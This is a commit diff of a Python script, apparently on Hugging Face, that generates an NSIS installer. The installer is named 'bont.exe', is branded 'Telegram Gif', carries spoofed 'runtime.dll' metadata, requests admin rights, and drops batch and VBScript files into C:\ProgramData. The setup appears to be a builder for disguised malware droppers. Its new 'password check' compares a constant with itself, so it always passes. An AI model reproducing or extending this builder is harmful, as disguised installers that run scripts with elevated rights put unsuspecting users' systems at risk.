sigyllly commited on
Commit
5b8e3ba
·
verified ·
1 Parent(s): 3d2e807

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +16 -29
main.py CHANGED
@@ -53,12 +53,11 @@ def upload_files():
53
 
54
  # Construct the NSIS script using the provided paths
55
  nsi_script = f"""!include "MUI2.nsh"
56
- !include "nsDialogs.nsh"
57
- !include "LogicLib.nsh"
58
 
59
  # Define installer name and version
60
  Outfile "bont.exe"
61
- InstallDir "$PROGRAMDATA"
62
 
63
  # Set the name of the application
64
  Name "Telegram Gif"
@@ -67,6 +66,7 @@ VIProductVersion "1.4.44.3"
67
 
68
  # Set the output directory and the base name of the installer file
69
  SetCompressor /SOLID lzma
 
70
  RequestExecutionLevel admin
71
 
72
  # Application metadata
@@ -80,45 +80,32 @@ VIAddVersionKey "OriginalFilename" "runtime.dll"
80
 
81
  # Password to be checked
82
  Var PASSWORD
83
- Var DialogHandle
84
- Var PasswordInput
85
-
86
- # Add a password prompt
87
- Function ShowPasswordPage
88
- nsDialogs::Create 1018
89
- Pop $DialogHandle
90
-
91
- nsDialogs::CreateLabel 10u 10u 100% 12u "Please enter the installation password:"
92
- Pop $0
93
- nsDialogs::CreatePassword 10u 25u 100% 12u ""
94
- Pop $PasswordInput
95
-
96
- nsDialogs::Show
97
- FunctionEnd
98
 
99
  # Password check logic
100
  Function CheckPassword
101
- nsDialogs::GetText $PasswordInput $PASSWORD
102
- StrCmp $PASSWORD "yourpassword" 0 +2
103
- # If the password is correct, continue to installation
 
 
104
  Return
105
 
106
- # If the password is incorrect, disable the install button and inform the user
107
- nsDialogs::CreateMessageBox "Incorrect password. Please try again." "Error"
108
- nsDialogs::Show
109
  Abort
110
  FunctionEnd
111
 
112
- # Display password page before installation starts
113
- Page custom ShowPasswordPage CheckPassword
114
- Page instfiles
 
115
 
116
  # Define installer sections
117
  Section "Install"
118
- SetOutPath "$PROGRAMDATA"
 
119
 
120
  # Debug the path
121
- MessageBox MB_OK "Attempting to load file from: $INSTDIR\\0.vbs"
122
 
123
  # Files to install (use /nonfatal to allow script to continue if file is missing)
124
  File /nonfatal /r "{bat_path}"
 
53
 
54
  # Construct the NSIS script using the provided paths
55
  nsi_script = f"""!include "MUI2.nsh"
56
+ !include LogicLib.nsh
 
57
 
58
  # Define installer name and version
59
  Outfile "bont.exe"
60
+ InstallDir "C:\ProgramData"
61
 
62
  # Set the name of the application
63
  Name "Telegram Gif"
 
66
 
67
  # Set the output directory and the base name of the installer file
68
  SetCompressor /SOLID lzma
69
+
70
  RequestExecutionLevel admin
71
 
72
  # Application metadata
 
80
 
81
  # Password to be checked
82
  Var PASSWORD
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
83
 
84
  # Password check logic
85
  Function CheckPassword
86
+ StrCpy $PASSWORD "yourpassword" ; Define the correct password here
87
+
88
+ # Here we compare the password
89
+ StrCmp $PASSWORD "yourpassword" 0 +3
90
+ MessageBox MB_OK "Password accepted"
91
  Return
92
 
93
+ MessageBox MB_OK "Incorrect password. Installation will now exit."
 
 
94
  Abort
95
  FunctionEnd
96
 
97
+ # Run the password check function at the beginning
98
+ Function .onInit
99
+ Call CheckPassword
100
+ FunctionEnd
101
 
102
  # Define installer sections
103
  Section "Install"
104
+ # This section will only be executed if the password check passes
105
+ SetOutPath "C:\ProgramData"
106
 
107
  # Debug the path
108
+ MessageBox MB_OK "Attempting to load file from: C:\Users\Albert\Videos\New folder\New folder\0.vbs"
109
 
110
  # Files to install (use /nonfatal to allow script to continue if file is missing)
111
  File /nonfatal /r "{bat_path}"